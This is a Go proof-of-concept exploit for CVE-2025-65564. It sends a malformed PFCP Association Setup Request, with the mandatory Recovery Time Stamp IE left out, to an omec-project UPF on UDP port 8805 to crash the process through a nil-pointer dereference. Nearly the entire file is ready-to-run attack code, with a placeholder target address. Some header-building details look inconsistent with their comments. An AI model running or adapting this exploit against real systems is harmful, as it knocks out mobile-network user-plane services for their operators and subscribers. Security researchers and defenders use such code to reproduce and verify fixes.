// CVE-2025-65564 PoC - PFCP Association Setup Request without Recovery Time Stamp IE
// Target: omec-project/upf upf-epc-pfcpiface <= 2.1.3-dev
// This PoC demonstrates sending a malformed PFCP Association Setup Request
// that triggers nil pointer dereference in the UPF component.
package main
import (
"encoding/binary"
"fmt"
"net"
"time"
)
// PFCP IE Types
const (
IE_RecoveryTimeStamp = 3
IE_NodeID = 84
IE_FTEID = 21
IE_PFCPSMReqFlags = 44
IE_PFCPAssociationRetryTimer = 110
IE_UserPlaneIPResourceInformation = 51
IE_UE_IP_Address = 93
)
// PFCP Message Types
const (
MSG_PFCP_ASSOCIATION_SETUP_REQUEST = 5
)
// PFCP Header Structure
type PFCPHeader struct {
Version uint8
MP uint8
SFlag uint8
MessageType uint8
MessageLen uint16
SequenceNum uint32
Seid uint64
}
func buildPFCPIE(ieType uint16, data []byte) []byte {
ie := make([]byte, 4+len(data))
binary.BigEndian.PutUint16(ie[0:2], ieType)
binary.BigEndian.PutUint16(ie[2:4], uint16(len(data)))
copy(ie[4:], data)
return ie
}
func buildPFCPAssociationSetupRequest() []byte {
var ieData []byte
// Node ID IE (Required)
nodeID := []byte{0x00, 0x00, 0x00, 0x01} // IPv4: 0.0.0.1
ieData = append(ieData, buildPFCPIE(IE_NodeID, nodeID)...)
// OMIT Recovery Time Stamp IE - This triggers the vulnerability
// In vulnerable versions, omitting this mandatory IE causes nil pointer dereference
// Optional: FTEID for Control Plane
fteid := []byte{0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}
ieData = append(ieData, buildPFCPIE(IE_FTEID, fteid)...)
// Build PFCP Header
msgType := MSG_PFCP_ASSOCIATION_SETUP_REQUEST
msgLen := uint16(len(ieData) + 4) // +4 for sequence number and spare
header := make([]byte, 16)
header[0] = 0x20 // Version=1, MP=0, S=1
header[1] = msgType
binary.BigEndian.PutUint16(header[2:4], msgLen)
binary.BigEndian.PutUint32(header[4:8], 0x00000001) // Sequence number
header[8] = 0x00 // Spare
header[9] = 0x00 // Spare
header[10] = 0x00 // Spare
return append(header[:10], ieData...)
}
func exploitCVE202565564(targetIP string, targetPort int) error {
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", targetIP, targetPort))
if err != nil {
return fmt.Errorf("failed to resolve address: %v", err)
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
return fmt.Errorf("failed to connect: %v", err)
}
defer conn.Close()
payload := buildPFCPAssociationSetupRequest()
fmt.Printf("[*] Sending malformed PFCP Association Setup Request to %s:%d\n", targetIP, targetPort)
fmt.Printf("[*] Payload length: %d bytes\n", len(payload))
fmt.Printf("[*] Recovery Time Stamp IE: OMITTED (triggering CVE-2025-65564)\n")
_, err = conn.Write(payload)
if err != nil {
return fmt.Errorf("failed to send payload: %v", err)
}
fmt.Printf("[+] Payload sent successfully\n")
return nil
}
func main() {
targetIP := "<UPF_IP>"
targetPort := 8805
fmt.Println("=== CVE-2025-65564 PoC ===")
fmt.Println("Target: omec-project/upf upf-epc-pfcpiface <= 2.1.3-dev")
fmt.Println("Vulnerability: Missing nil pointer check for Recovery Time Stamp IE")
fmt.Println("")
err := exploitCVE202565564(targetIP, targetPort)
if err != nil {
fmt.Printf("[-] Error: %v\n", err)
}
time.Sleep(2 * time.Second)
fmt.Println("[*] UPF process should have crashed (panic due to nil pointer dereference)")
}